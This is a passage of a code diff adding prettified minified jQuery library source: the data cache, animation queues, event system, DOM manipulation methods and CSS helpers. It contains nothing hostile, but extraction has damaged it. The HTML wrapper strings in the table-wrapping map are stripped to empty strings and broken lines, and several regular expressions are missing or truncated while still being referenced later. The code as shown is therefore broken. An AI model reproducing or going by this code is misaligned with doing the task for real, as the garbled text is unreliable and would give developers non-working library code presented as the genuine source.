Y = function (e) { + return 1 === e.nodeType || 9 === e.nodeType || !+e.nodeType; + }; + function Q() { + this.expando = w.expando + Q.uid++; + } + (Q.uid = 1), + (Q.prototype = { + cache: function (e) { + var t = e[this.expando]; + return ( + t || + ((t = {}), + Y(e) && + (e.nodeType + ? (e[this.expando] = t) + : Object.defineProperty(e, this.expando, { + value: t, + configurable: !0, + }))), + t + ); + }, + set: function (e, t, n) { + var r, + i = this.cache(e); + if ("string" == typeof t) i[G(t)] = n; + else for (r in t) i[G(r)] = t[r]; + return i; + }, + get: function (e, t) { + return void 0 === t + ? this.cache(e) + : e[this.expando] && e[this.expando][G(t)]; + }, + access: function (e, t, n) { + return void 0 === t || (t && "string" == typeof t && void 0 === n) + ? this.get(e, t) + : (this.set(e, t, n), void 0 !== n ? n : t); + }, + remove: function (e, t) { + var n, + r = e[this.expando]; + if (void 0 !== r) { + if (void 0 !== t) { + n = (t = Array.isArray(t) + ? t.map(G) + : (t = G(t)) in r + ? [t] + : t.match(M) || []).length; + while (n--) delete r[t[n]]; + } + (void 0 === t || w.isEmptyObject(r)) && + (e.nodeType ? (e[this.expando] = void 0) : delete e[this.expando]); + } + }, + hasData: function (e) { + var t = e[this.expando]; + return void 0 !== t && !w.isEmptyObject(t); + }, + }); + var J = new Q(), + K = new Q(), + Z = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, + ee = /[A-Z]/g; + function te(e) { + return ( + "true" === e || + ("false" !== e && + ("null" === e + ? null + : e === +e + "" + ? +e + : Z.test(e) + ? JSON.parse(e) + : e)) + ); + } + function ne(e, t, n) { + var r; + if (void 0 === n && 1 === e.nodeType) + if ( + ((r = "data-" + t.replace(ee, "-$&").toLowerCase()), + "string" == typeof (n = e.getAttribute(r))) + ) { + try { + n = te(n); + } catch (e) {} + K.set(e, t, n); + } else n = void 0; + return n; + } + w.extend({ + hasData: function (e) { + return K.hasData(e) || J.hasData(e); + }, + data: function (e, t, n) { + return K.access(e, t, n); + }, + removeData: function (e, t) { + K.remove(e, t); + }, + _data: function (e, t, n) { + return J.access(e, t, n); + }, + _removeData: function (e, t) { + J.remove(e, t); + }, + }), + w.fn.extend({ + data: function (e, t) { + var n, + r, + i, + o = this[0], + a = o && o.attributes; + if (void 0 === e) { + if ( + this.length && + ((i = K.get(o)), 1 === o.nodeType && !J.get(o, "hasDataAttrs")) + ) { + n = a.length; + while (n--) + a[n] && + 0 === (r = a[n].name).indexOf("data-") && + ((r = G(r.slice(5))), ne(o, r, i[r])); + J.set(o, "hasDataAttrs", !0); + } + return i; + } + return "object" == typeof e + ? this.each(function () { + K.set(this, e); + }) + : z( + this, + function (t) { + var n; + if (o && void 0 === t) { + if (void 0 !== (n = K.get(o, e))) return n; + if (void 0 !== (n = ne(o, e))) return n; + } else + this.each(function () { + K.set(this, e, t); + }); + }, + null, + t, + arguments.length > 1, + null, + !0 + ); + }, + removeData: function (e) { + return this.each(function () { + K.remove(this, e); + }); + }, + }), + w.extend({ + queue: function (e, t, n) { + var r; + if (e) + return ( + (t = (t || "fx") + "queue"), + (r = J.get(e, t)), + n && + (!r || Array.isArray(n) + ? (r = J.access(e, t, w.makeArray(n))) + : r.push(n)), + r || [] + ); + }, + dequeue: function (e, t) { + t = t || "fx"; + var n = w.queue(e, t), + r = n.length, + i = n.shift(), + o = w._queueHooks(e, t), + a = function () { + w.dequeue(e, t); + }; + "inprogress" === i && ((i = n.shift()), r--), + i && + ("fx" === t && n.unshift("inprogress"), + delete o.stop, + i.call(e, a, o)), + !r && o && o.empty.fire(); + }, + _queueHooks: function (e, t) { + var n = t + "queueHooks"; + return ( + J.get(e, n) || + J.access(e, n, { + empty: w.Callbacks("once memory").add(function () { + J.remove(e, [t + "queue", n]); + }), + }) + ); + }, + }), + w.fn.extend({ + queue: function (e, t) { + var n = 2; + return ( + "string" != typeof e && ((t = e), (e = "fx"), n--), + arguments.length < n + ? w.queue(this[0], e) + : void 0 === t + ? this + : this.each(function () { + var n = w.queue(this, e, t); + w._queueHooks(this, e), + "fx" === e && "inprogress" !== n[0] && w.dequeue(this, e); + }) + ); + }, + dequeue: function (e) { + return this.each(function () { + w.dequeue(this, e); + }); + }, + clearQueue: function (e) { + return this.queue(e || "fx", []); + }, + promise: function (e, t) { + var n, + r = 1, + i = w.Deferred(), + o = this, + a = this.length, + s = function () { + --r || i.resolveWith(o, [o]); + }; + "string" != typeof e && ((t = e), (e = void 0)), (e = e || "fx"); + while (a--) + (n = J.get(o[a], e + "queueHooks")) && + n.empty && + (r++, n.empty.add(s)); + return s(), i.promise(t); + }, + }); + var re = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, + ie = new RegExp("^(?:([+-])=|)(" + re + ")([a-z%]*)$", "i"), + oe = ["Top", "Right", "Bottom", "Left"], + ae = function (e, t) { + return ( + "none" === (e = t || e).style.display || + ("" === e.style.display && + w.contains(e.ownerDocument, e) && + "none" === w.css(e, "display")) + ); + }, + se = function (e, t, n, r) { + var i, + o, + a = {}; + for (o in t) (a[o] = e.style[o]), (e.style[o] = t[o]); + i = n.apply(e, r || []); + for (o in t) e.style[o] = a[o]; + return i; + }; + function ue(e, t, n, r) { + var i, + o, + a = 20, + s = r + ? function () { + return r.cur(); + } + : function () { + return w.css(e, t, ""); + }, + u = s(), + l = (n && n[3]) || (w.cssNumber[t] ? "" : "px"), + c = (w.cssNumber[t] || ("px" !== l && +u)) && ie.exec(w.css(e, t)); + if (c && c[3] !== l) { + (u /= 2), (l = l || c[3]), (c = +u || 1); + while (a--) + w.style(e, t, c + l), + (1 - o) * (1 - (o = s() / u || 0.5)) <= 0 && (a = 0), + (c /= o); + (c *= 2), w.style(e, t, c + l), (n = n || []); + } + return ( + n && + ((c = +c || +u || 0), + (i = n[1] ? c + (n[1] + 1) * n[2] : +n[2]), + r && ((r.unit = l), (r.start = c), (r.end = i))), + i + ); + } + var le = {}; + function ce(e) { + var t, + n = e.ownerDocument, + r = e.nodeName, + i = le[r]; + return ( + i || + ((t = n.body.appendChild(n.createElement(r))), + (i = w.css(t, "display")), + t.parentNode.removeChild(t), + "none" === i && (i = "block"), + (le[r] = i), + i) + ); + } + function fe(e, t) { + for (var n, r, i = [], o = 0, a = e.length; o < a; o++) + (r = e[o]).style && + ((n = r.style.display), + t + ? ("none" === n && + ((i[o] = J.get(r, "display") || null), + i[o] || (r.style.display = "")), + "" === r.style.display && ae(r) && (i[o] = ce(r))) + : "none" !== n && ((i[o] = "none"), J.set(r, "display", n))); + for (o = 0; o < a; o++) null != i[o] && (e[o].style.display = i[o]); + return e; + } + w.fn.extend({ + show: function () { + return fe(this, !0); + }, + hide: function () { + return fe(this); + }, + toggle: function (e) { + return "boolean" == typeof e + ? e + ? this.show() + : this.hide() + : this.each(function () { + ae(this) ? w(this).show() : w(this).hide(); + }); + }, + }); + var pe = /^(?:checkbox|radio)$/i, + de = /<([a-z][^\/\0>\x20\t\r\n\f]+)/i, + he = /^$|^module$|\/(?:java|ecma)script/i, + ge = { + option: [1, ""], + thead: [1, "", "
    "], + col: [2, "", "
    "], + tr: [2, "", "
    "], + td: [3, "", "
    "], + _default: [0, "", ""], + }; + (ge.optgroup = ge.option), + (ge.tbody = ge.tfoot = ge.colgroup = ge.caption = ge.thead), + (ge.th = ge.td); + function ye(e, t) { + var n; + return ( + (n = + "undefined" != typeof e.getElementsByTagName + ? e.getElementsByTagName(t || "*") + : "undefined" != typeof e.querySelectorAll + ? e.querySelectorAll(t || "*") + : []), + void 0 === t || (t && N(e, t)) ? w.merge([e], n) : n + ); + } + function ve(e, t) { + for (var n = 0, r = e.length; n < r; n++) + J.set(e[n], "globalEval", !t || J.get(t[n], "globalEval")); + } + var me = /<|&#?\w+;/; + function xe(e, t, n, r, i) { + for ( + var o, + a, + s, + u, + l, + c, + f = t.createDocumentFragment(), + p = [], + d = 0, + h = e.length; + d < h; + d++ + ) + if ((o = e[d]) || 0 === o) + if ("object" === x(o)) w.merge(p, o.nodeType ? [o] : o); + else if (me.test(o)) { + (a = a || f.appendChild(t.createElement("div"))), + (s = (de.exec(o) || ["", ""])[1].toLowerCase()), + (u = ge[s] || ge._default), + (a.innerHTML = u[1] + w.htmlPrefilter(o) + u[2]), + (c = u[0]); + while (c--) a = a.lastChild; + w.merge(p, a.childNodes), ((a = f.firstChild).textContent = ""); + } else p.push(t.createTextNode(o)); + (f.textContent = ""), (d = 0); + while ((o = p[d++])) + if (r && w.inArray(o, r) > -1) i && i.push(o); + else if ( + ((l = w.contains(o.ownerDocument, o)), + (a = ye(f.appendChild(o), "script")), + l && ve(a), + n) + ) { + c = 0; + while ((o = a[c++])) he.test(o.type || "") && n.push(o); + } + return f; + } + !(function () { + var e = r.createDocumentFragment().appendChild(r.createElement("div")), + t = r.createElement("input"); + t.setAttribute("type", "radio"), + t.setAttribute("checked", "checked"), + t.setAttribute("name", "t"), + e.appendChild(t), + (h.checkClone = e.cloneNode(!0).cloneNode(!0).lastChild.checked), + (e.innerHTML = ""), + (h.noCloneChecked = !!e.cloneNode(!0).lastChild.defaultValue); + })(); + var be = r.documentElement, + we = /^key/, + Te = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, + Ce = /^([^.]*)(?:\.(.+)|)/; + function Ee() { + return !0; + } + function ke() { + return !1; + } + function Se() { + try { + return r.activeElement; + } catch (e) {} + } + function De(e, t, n, r, i, o) { + var a, s; + if ("object" == typeof t) { + "string" != typeof n && ((r = r || n), (n = void 0)); + for (s in t) De(e, s, n, r, t[s], o); + return e; + } + if ( + (null == r && null == i + ? ((i = n), (r = n = void 0)) + : null == i && + ("string" == typeof n + ? ((i = r), (r = void 0)) + : ((i = r), (r = n), (n = void 0))), + !1 === i) + ) + i = ke; + else if (!i) return e; + return ( + 1 === o && + ((a = i), + ((i = function (e) { + return w().off(e), a.apply(this, arguments); + }).guid = a.guid || (a.guid = w.guid++))), + e.each(function () { + w.event.add(this, t, i, r, n); + }) + ); + } + (w.event = { + global: {}, + add: function (e, t, n, r, i) { + var o, + a, + s, + u, + l, + c, + f, + p, + d, + h, + g, + y = J.get(e); + if (y) { + n.handler && ((n = (o = n).handler), (i = o.selector)), + i && w.find.matchesSelector(be, i), + n.guid || (n.guid = w.guid++), + (u = y.events) || (u = y.events = {}), + (a = y.handle) || + (a = y.handle = + function (t) { + return "undefined" != typeof w && w.event.triggered !== t.type + ? w.event.dispatch.apply(e, arguments) + : void 0; + }), + (l = (t = (t || "").match(M) || [""]).length); + while (l--) + (d = g = (s = Ce.exec(t[l]) || [])[1]), + (h = (s[2] || "").split(".").sort()), + d && + ((f = w.event.special[d] || {}), + (d = (i ? f.delegateType : f.bindType) || d), + (f = w.event.special[d] || {}), + (c = w.extend( + { + type: d, + origType: g, + data: r, + handler: n, + guid: n.guid, + selector: i, + needsContext: i && w.expr.match.needsContext.test(i), + namespace: h.join("."), + }, + o + )), + (p = u[d]) || + (((p = u[d] = []).delegateCount = 0), + (f.setup && !1 !== f.setup.call(e, r, h, a)) || + (e.addEventListener && e.addEventListener(d, a))), + f.add && + (f.add.call(e, c), c.handler.guid || (c.handler.guid = n.guid)), + i ? p.splice(p.delegateCount++, 0, c) : p.push(c), + (w.event.global[d] = !0)); + } + }, + remove: function (e, t, n, r, i) { + var o, + a, + s, + u, + l, + c, + f, + p, + d, + h, + g, + y = J.hasData(e) && J.get(e); + if (y && (u = y.events)) { + l = (t = (t || "").match(M) || [""]).length; + while (l--) + if ( + ((s = Ce.exec(t[l]) || []), + (d = g = s[1]), + (h = (s[2] || "").split(".").sort()), + d) + ) { + (f = w.event.special[d] || {}), + (p = u[(d = (r ? f.delegateType : f.bindType) || d)] || []), + (s = + s[2] && + new RegExp("(^|\\.)" + h.join("\\.(?:.*\\.|)") + "(\\.|$)")), + (a = o = p.length); + while (o--) + (c = p[o]), + (!i && g !== c.origType) || + (n && n.guid !== c.guid) || + (s && !s.test(c.namespace)) || + (r && r !== c.selector && ("**" !== r || !c.selector)) || + (p.splice(o, 1), + c.selector && p.delegateCount--, + f.remove && f.remove.call(e, c)); + a && + !p.length && + ((f.teardown && !1 !== f.teardown.call(e, h, y.handle)) || + w.removeEvent(e, d, y.handle), + delete u[d]); + } else for (d in u) w.event.remove(e, d + t[l], n, r, !0); + w.isEmptyObject(u) && J.remove(e, "handle events"); + } + }, + dispatch: function (e) { + var t = w.event.fix(e), + n, + r, + i, + o, + a, + s, + u = new Array(arguments.length), + l = (J.get(this, "events") || {})[t.type] || [], + c = w.event.special[t.type] || {}; + for (u[0] = t, n = 1; n < arguments.length; n++) u[n] = arguments[n]; + if ( + ((t.delegateTarget = this), + !c.preDispatch || !1 !== c.preDispatch.call(this, t)) + ) { + (s = w.event.handlers.call(this, t, l)), (n = 0); + while ((o = s[n++]) && !t.isPropagationStopped()) { + (t.currentTarget = o.elem), (r = 0); + while ((a = o.handlers[r++]) && !t.isImmediatePropagationStopped()) + (t.rnamespace && !t.rnamespace.test(a.namespace)) || + ((t.handleObj = a), + (t.data = a.data), + void 0 !== + (i = ( + (w.event.special[a.origType] || {}).handle || a.handler + ).apply(o.elem, u)) && + !1 === (t.result = i) && + (t.preventDefault(), t.stopPropagation())); + } + return c.postDispatch && c.postDispatch.call(this, t), t.result; + } + }, + handlers: function (e, t) { + var n, + r, + i, + o, + a, + s = [], + u = t.delegateCount, + l = e.target; + if (u && l.nodeType && !("click" === e.type && e.button >= 1)) + for (; l !== this; l = l.parentNode || this) + if (1 === l.nodeType && ("click" !== e.type || !0 !== l.disabled)) { + for (o = [], a = {}, n = 0; n < u; n++) + void 0 === a[(i = (r = t[n]).selector + " ")] && + (a[i] = r.needsContext + ? w(i, this).index(l) > -1 + : w.find(i, this, null, [l]).length), + a[i] && o.push(r); + o.length && s.push({ elem: l, handlers: o }); + } + return ( + (l = this), u < t.length && s.push({ elem: l, handlers: t.slice(u) }), s + ); + }, + addProp: function (e, t) { + Object.defineProperty(w.Event.prototype, e, { + enumerable: !0, + configurable: !0, + get: g(t) + ? function () { + if (this.originalEvent) return t(this.originalEvent); + } + : function () { + if (this.originalEvent) return this.originalEvent[e]; + }, + set: function (t) { + Object.defineProperty(this, e, { + enumerable: !0, + configurable: !0, + writable: !0, + value: t, + }); + }, + }); + }, + fix: function (e) { + return e[w.expando] ? e : new w.Event(e); + }, + special: { + load: { noBubble: !0 }, + focus: { + trigger: function () { + if (this !== Se() && this.focus) return this.focus(), !1; + }, + delegateType: "focusin", + }, + blur: { + trigger: function () { + if (this === Se() && this.blur) return this.blur(), !1; + }, + delegateType: "focusout", + }, + click: { + trigger: function () { + if ("checkbox" === this.type && this.click && N(this, "input")) + return this.click(), !1; + }, + _default: function (e) { + return N(e.target, "a"); + }, + }, + beforeunload: { + postDispatch: function (e) { + void 0 !== e.result && + e.originalEvent && + (e.originalEvent.returnValue = e.result); + }, + }, + }, + }), + (w.removeEvent = function (e, t, n) { + e.removeEventListener && e.removeEventListener(t, n); + }), + (w.Event = function (e, t) { + if (!(this instanceof w.Event)) return new w.Event(e, t); + e && e.type + ? ((this.originalEvent = e), + (this.type = e.type), + (this.isDefaultPrevented = + e.defaultPrevented || + (void 0 === e.defaultPrevented && !1 === e.returnValue) + ? Ee + : ke), + (this.target = + e.target && 3 === e.target.nodeType + ? e.target.parentNode + : e.target), + (this.currentTarget = e.currentTarget), + (this.relatedTarget = e.relatedTarget)) + : (this.type = e), + t && w.extend(this, t), + (this.timeStamp = (e && e.timeStamp) || Date.now()), + (this[w.expando] = !0); + }), + (w.Event.prototype = { + constructor: w.Event, + isDefaultPrevented: ke, + isPropagationStopped: ke, + isImmediatePropagationStopped: ke, + isSimulated: !1, + preventDefault: function () { + var e = this.originalEvent; + (this.isDefaultPrevented = Ee), + e && !this.isSimulated && e.preventDefault(); + }, + stopPropagation: function () { + var e = this.originalEvent; + (this.isPropagationStopped = Ee), + e && !this.isSimulated && e.stopPropagation(); + }, + stopImmediatePropagation: function () { + var e = this.originalEvent; + (this.isImmediatePropagationStopped = Ee), + e && !this.isSimulated && e.stopImmediatePropagation(), + this.stopPropagation(); + }, + }), + w.each( + { + altKey: !0, + bubbles: !0, + cancelable: !0, + changedTouches: !0, + ctrlKey: !0, + detail: !0, + eventPhase: !0, + metaKey: !0, + pageX: !0, + pageY: !0, + shiftKey: !0, + view: !0, + char: !0, + charCode: !0, + key: !0, + keyCode: !0, + button: !0, + buttons: !0, + clientX: !0, + clientY: !0, + offsetX: !0, + offsetY: !0, + pointerId: !0, + pointerType: !0, + screenX: !0, + screenY: !0, + targetTouches: !0, + toElement: !0, + touches: !0, + which: function (e) { + var t = e.button; + return null == e.which && we.test(e.type) + ? null != e.charCode + ? e.charCode + : e.keyCode + : !e.which && void 0 !== t && Te.test(e.type) + ? 1 & t + ? 1 + : 2 & t + ? 3 + : 4 & t + ? 2 + : 0 + : e.which; + }, + }, + w.event.addProp + ), + w.each( + { + mouseenter: "mouseover", + mouseleave: "mouseout", + pointerenter: "pointerover", + pointerleave: "pointerout", + }, + function (e, t) { + w.event.special[e] = { + delegateType: t, + bindType: t, + handle: function (e) { + var n, + r = this, + i = e.relatedTarget, + o = e.handleObj; + return ( + (i && (i === r || w.contains(r, i))) || + ((e.type = o.origType), + (n = o.handler.apply(this, arguments)), + (e.type = t)), + n + ); + }, + }; + } + ), + w.fn.extend({ + on: function (e, t, n, r) { + return De(this, e, t, n, r); + }, + one: function (e, t, n, r) { + return De(this, e, t, n, r, 1); + }, + off: function (e, t, n) { + var r, i; + if (e && e.preventDefault && e.handleObj) + return ( + (r = e.handleObj), + w(e.delegateTarget).off( + r.namespace ? r.origType + "." + r.namespace : r.origType, + r.selector, + r.handler + ), + this + ); + if ("object" == typeof e) { + for (i in e) this.off(i, t, e[i]); + return this; + } + return ( + (!1 !== t && "function" != typeof t) || ((n = t), (t = void 0)), + !1 === n && (n = ke), + this.each(function () { + w.event.remove(this, e, n, t); + }) + ); + }, + }); + var Ne = + /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, + Ae = /\s*$/g; + function Le(e, t) { + return N(e, "table") && N(11 !== t.nodeType ? t : t.firstChild, "tr") + ? w(e).children("tbody")[0] || e + : e; + } + function He(e) { + return (e.type = (null !== e.getAttribute("type")) + "/" + e.type), e; + } + function Oe(e) { + return ( + "true/" === (e.type || "").slice(0, 5) + ? (e.type = e.type.slice(5)) + : e.removeAttribute("type"), + e + ); + } + function Pe(e, t) { + var n, r, i, o, a, s, u, l; + if (1 === t.nodeType) { + if ( + J.hasData(e) && + ((o = J.access(e)), (a = J.set(t, o)), (l = o.events)) + ) { + delete a.handle, (a.events = {}); + for (i in l) + for (n = 0, r = l[i].length; n < r; n++) w.event.add(t, i, l[i][n]); + } + K.hasData(e) && ((s = K.access(e)), (u = w.extend({}, s)), K.set(t, u)); + } + } + function Me(e, t) { + var n = t.nodeName.toLowerCase(); + "input" === n && pe.test(e.type) + ? (t.checked = e.checked) + : ("input" !== n && "textarea" !== n) || + (t.defaultValue = e.defaultValue); + } + function Re(e, t, n, r) { + t = a.apply([], t); + var i, + o, + s, + u, + l, + c, + f = 0, + p = e.length, + d = p - 1, + y = t[0], + v = g(y); + if (v || (p > 1 && "string" == typeof y && !h.checkClone && je.test(y))) + return e.each(function (i) { + var o = e.eq(i); + v && (t[0] = y.call(this, i, o.html())), Re(o, t, n, r); + }); + if ( + p && + ((i = xe(t, e[0].ownerDocument, !1, e, r)), + (o = i.firstChild), + 1 === i.childNodes.length && (i = o), + o || r) + ) { + for (u = (s = w.map(ye(i, "script"), He)).length; f < p; f++) + (l = i), + f !== d && + ((l = w.clone(l, !0, !0)), u && w.merge(s, ye(l, "script"))), + n.call(e[f], l, f); + if (u) + for (c = s[s.length - 1].ownerDocument, w.map(s, Oe), f = 0; f < u; f++) + (l = s[f]), + he.test(l.type || "") && + !J.access(l, "globalEval") && + w.contains(c, l) && + (l.src && "module" !== (l.type || "").toLowerCase() + ? w._evalUrl && w._evalUrl(l.src) + : m(l.textContent.replace(qe, ""), c, l)); + } + return e; + } + function Ie(e, t, n) { + for (var r, i = t ? w.filter(t, e) : e, o = 0; null != (r = i[o]); o++) + n || 1 !== r.nodeType || w.cleanData(ye(r)), + r.parentNode && + (n && w.contains(r.ownerDocument, r) && ve(ye(r, "script")), + r.parentNode.removeChild(r)); + return e; + } + w.extend({ + htmlPrefilter: function (e) { + return e.replace(Ne, "<$1>"); + }, + clone: function (e, t, n) { + var r, + i, + o, + a, + s = e.cloneNode(!0), + u = w.contains(e.ownerDocument, e); + if ( + !( + h.noCloneChecked || + (1 !== e.nodeType && 11 !== e.nodeType) || + w.isXMLDoc(e) + ) + ) + for (a = ye(s), r = 0, i = (o = ye(e)).length; r < i; r++) + Me(o[r], a[r]); + if (t) + if (n) + for (o = o || ye(e), a = a || ye(s), r = 0, i = o.length; r < i; r++) + Pe(o[r], a[r]); + else Pe(e, s); + return ( + (a = ye(s, "script")).length > 0 && ve(a, !u && ye(e, "script")), s + ); + }, + cleanData: function (e) { + for (var t, n, r, i = w.event.special, o = 0; void 0 !== (n = e[o]); o++) + if (Y(n)) { + if ((t = n[J.expando])) { + if (t.events) + for (r in t.events) + i[r] ? w.event.remove(n, r) : w.removeEvent(n, r, t.handle); + n[J.expando] = void 0; + } + n[K.expando] && (n[K.expando] = void 0); + } + }, + }), + w.fn.extend({ + detach: function (e) { + return Ie(this, e, !0); + }, + remove: function (e) { + return Ie(this, e); + }, + text: function (e) { + return z( + this, + function (e) { + return void 0 === e + ? w.text(this) + : this.empty().each(function () { + (1 !== this.nodeType && + 11 !== this.nodeType && + 9 !== this.nodeType) || + (this.textContent = e); + }); + }, + null, + e, + arguments.length + ); + }, + append: function () { + return Re(this, arguments, function (e) { + (1 !== this.nodeType && + 11 !== this.nodeType && + 9 !== this.nodeType) || + Le(this, e).appendChild(e); + }); + }, + prepend: function () { + return Re(this, arguments, function (e) { + if ( + 1 === this.nodeType || + 11 === this.nodeType || + 9 === this.nodeType + ) { + var t = Le(this, e); + t.insertBefore(e, t.firstChild); + } + }); + }, + before: function () { + return Re(this, arguments, function (e) { + this.parentNode && this.parentNode.insertBefore(e, this); + }); + }, + after: function () { + return Re(this, arguments, function (e) { + this.parentNode && this.parentNode.insertBefore(e, this.nextSibling); + }); + }, + empty: function () { + for (var e, t = 0; null != (e = this[t]); t++) + 1 === e.nodeType && (w.cleanData(ye(e, !1)), (e.textContent = "")); + return this; + }, + clone: function (e, t) { + return ( + (e = null != e && e), + (t = null == t ? e : t), + this.map(function () { + return w.clone(this, e, t); + }) + ); + }, + html: function (e) { + return z( + this, + function (e) { + var t = this[0] || {}, + n = 0, + r = this.length; + if (void 0 === e && 1 === t.nodeType) return t.innerHTML; + if ( + "string" == typeof e && + !Ae.test(e) && + !ge[(de.exec(e) || ["", ""])[1].toLowerCase()] + ) { + e = w.htmlPrefilter(e); + try { + for (; n < r; n++) + 1 === (t = this[n] || {}).nodeType && + (w.cleanData(ye(t, !1)), (t.innerHTML = e)); + t = 0; + } catch (e) {} + } + t && this.empty().append(e); + }, + null, + e, + arguments.length + ); + }, + replaceWith: function () { + var e = []; + return Re( + this, + arguments, + function (t) { + var n = this.parentNode; + w.inArray(this, e) < 0 && + (w.cleanData(ye(this)), n && n.replaceChild(t, this)); + }, + e + ); + }, + }), + w.each( + { + appendTo: "append", + prependTo: "prepend", + insertBefore: "before", + insertAfter: "after", + replaceAll: "replaceWith", + }, + function (e, t) { + w.fn[e] = function (e) { + for (var n, r = [], i = w(e), o = i.length - 1, a = 0; a <= o; a++) + (n = a === o ? this : this.clone(!0)), + w(i[a])[t](n), + s.apply(r, n.get()); + return this.pushStack(r); + }; + } + ); + var We = new RegExp("^(" + re + ")(?!px)[a-z%]+$", "i"), + $e = function (t) { + var n = t.ownerDocument.defaultView; + return (n && n.opener) || (n = e), n.getComputedStyle(t); + }, + Be = new RegExp(oe.join("|"), "i"); + !(function () { + function t() { + if (c) { + (l.style.cssText = + "position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0"), + (c.style.cssText = + "position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%"), + be.appendChild(l).appendChild(c); + var t = e.getComputedStyle(c); + (i = "1%" !== t.top), + (u = 12 === n(t.marginLeft)), + (c.style.right = "60%"), + (s = 36 === n(t.right)), + (o = 36 === n(t.width)), + (c.style.position = "absolute"), + (a = 36 === c.offsetWidth || "absolute"), + be.removeChild(l), + (c = null); + } + } + function n(e) { + return Math.round(parseFloat(e)); + } + var i, + o, + a, + s, + u, + l = r.createElement("div"), + c = r.createElement("div"); + c.style && + ((c.style.backgroundClip = "content-box"), + (c.cloneNode(!0).style.backgroundClip = ""), + (h.clearCloneStyle = "content-box" === c.style.backgroundClip), + w.extend(h, { + boxSizingReliable: function () { + return t(), o; + }, + pixelBoxStyles: function () { + return t(), s; + }, + pixelPosition: function () { + return t(), i; + }, + reliableMarginLeft: function () { + return t(), u; + }, + scrollboxSize: function () { + return t(), a; + }, + })); + })(); + function Fe(e, t, n) { + var r, + i, + o, + a, + s = e.style; + return ( + (n = n || $e(e)) && + ("" !== (a = n.getPropertyValue(t) || n[t]) || + w.contains(e.ownerDocument, e) || + (a = w.style(e, t)), + !h.pixelBoxStyles() && + We.test(a) && + Be.test(t) && + ((r = s.width), + (i = s.minWidth), + (o = s.maxWidth), + (s.minWidth = s.maxWidth = s.width = a), + (a = n.width), + (s.width = r), + (s.minWidth = i), + (s.maxWidth = o))), + void 0 !== a ? a + "" : a + ); + } + function _e(e, t) { + return { + get: function () { + if (!e()) return (this.get = t).apply(this, arguments); + delete this.get; + }, + }; + } + var ze = /^(none|table(?!-c[ea]).+)/, + Xe = /^--/, + Ue = { position: "absolute", visibility: "hidden", display: "block" }, + Ve = { letterSpacing: "0", fontWeight: "400" }, + Ge = ["Webkit", "Moz", "ms"], + Ye = r.createElement("div").style; + function Qe(e) { + if (e in Ye) return e; + var t = e[0].toUpperCase() + e.slice(1), + n = Ge.length; + while (n--) if ((e = Ge[n] + t) in Ye) return e; + } + function Je(e) { + var t = w.cssProps[e]; + return t || (t = w.cssProps[e] = Qe(e) || e), t; + } + function Ke(e, t, n) { + var r = ie.exec(t); + return r ? Math.max(0, r[2] - (n || 0)) + (r[3] || "px") : t; + } + function Ze(e, t, n, r, i, o) { + var a = "width" === t ? 1 : 0, + s = 0, + u = 0; + if (n === (r ? "border" : "content")) return 0; + for (; a < 4; a += 2) + "margin" === n && (u += w.css(e, n + oe[a], !0, i)), + r + ? ("content" === n && (u -= w.css(e, "padding" + oe[a], !0, i)), + "margin" !== n && + (u -= w.css(e, "border" + oe[a] + "Width", !0, i))) + : ((u += w.css(e, "padding" + oe[a], !0, i)), + "padding" !== n + ? (u += w.css(e, "border" + oe[a] + "Width", !0, i)) + : (s += w.css(e, "border" + oe[a] + "Width", !0, i))); + return ( + !r && + o >= 0 && + (u += Math.max( + 0, + Math.ceil( + e["offset" + t[0].toUpperCase() + t.slice(1)] - o - u - s - 0.5 + ) + )), + u + ); + } + function et(e, t, n) { + var r = $e(e), + i = Fe(e, t, r), + o = "border-box" === w.css(e, "boxSizing", !1, r), + a = o; + if (We.test(i)) { + if (!n) return i; + i = "auto"; + } + return ( + (a = a && (h.boxSizingReliable() || i === e.style[t])), + ("auto" === i || + (!parseFloat(i) && "inline" === w.css(e, "display", !1, r))) && + ((i = e["offset" + t[0].toUpperCase() + t.slice(1)]), (a = !0)), + (i = parseFloat(i) || 0) + + Ze(e, t, n || (o ? "border" : "content"), a, r, i) + + "px" + ); + } + w.extend({ + cssHooks: { + opacity: { + get: function (e, t) { + if (t) { + var n = Fe(e, "opacity"); + return "" === n ? "1" : n; + } + }, + }, + }, + cssNumber: { + animationIterationCount: !0, + columnCount: !0, + fillOpacity: !0, + flexGrow: !0, + flexShrink: !0, + fontWeight: !0, + lineHeight: !0, + opacity: !0, + order: !0, + orphans: !0, + widows: !0, + zIndex: !0, + zoom: !0, + }, + cssProps: {}, + style: function (e, t, n, r) { + if (e && 3 !== e.nodeType && 8 !== e.nodeType && e.style) { + var i, + o, + a, + s = G(t), + u = Xe.test(t), + l = e.style; + if ( + (u || (t = Je(s)), (a = w.cssHooks[t] || w.cssHooks[s]), void 0 === n) + ) + return a && "get" in a && void 0 !== (i = a.get(e, !1, r)) ? i : l[t]; + "string" == (o = typeof n) && + (i = ie.exec(n)) && + i[1] && + ((n = ue(e, t, i)), (o = "number")), + null != n && + n === n && + ("number" === o && + (n += (i && i[3]) || (w.cssNumber[s] ? "" : "px")), + h.clearCloneStyle || + "" !== n || + 0 !== t.indexOf("background") || + (l[t] = "inherit"), + (a && "set" in a && void 0 === (n = a.set(e, n, r))) || + (u ? l.setProperty(t, n) : (l[t] = n))); + } + }, + css: function (e, t, n, r) { + var i, + o, + a, + s = G(t); + return ( + Xe.test(t) || (t = Je(s)), + (a = w.cssHooks[t] || w.cssHooks[s]) && + "get" in a && + (i = a.get(e, !0, n)), + void 0 === i && (i = Fe(e, t, r)), + "normal" === i && t in Ve && (i = Ve[t]), + "" === n || n + ? ((o = parseFloat(i)), !0 === n || isFinite(o) ? o || 0 : i) + : i + ); + }, + }), + w.each(["height", "width"], function (e, t) { + w.cssHooks[t] = { + get: function (e, n, r) { + if (n) + return !ze.test(w.css(e, "display")) || + (e.getClientRects().length && e.getBoundingClientRect().width) + ? et(e, t, r) + : se(e, Ue, function () { + return et(e, t, r); + }); + }, + set: function (e, n, r) { + var i, + o = $e(e), + a = "border-box" === w.css(e, "boxSizing", !1, o), + s = r && Ze(e, t, r, a, o); + return ( + a && + h.scrollboxSize() === o.position && + (s 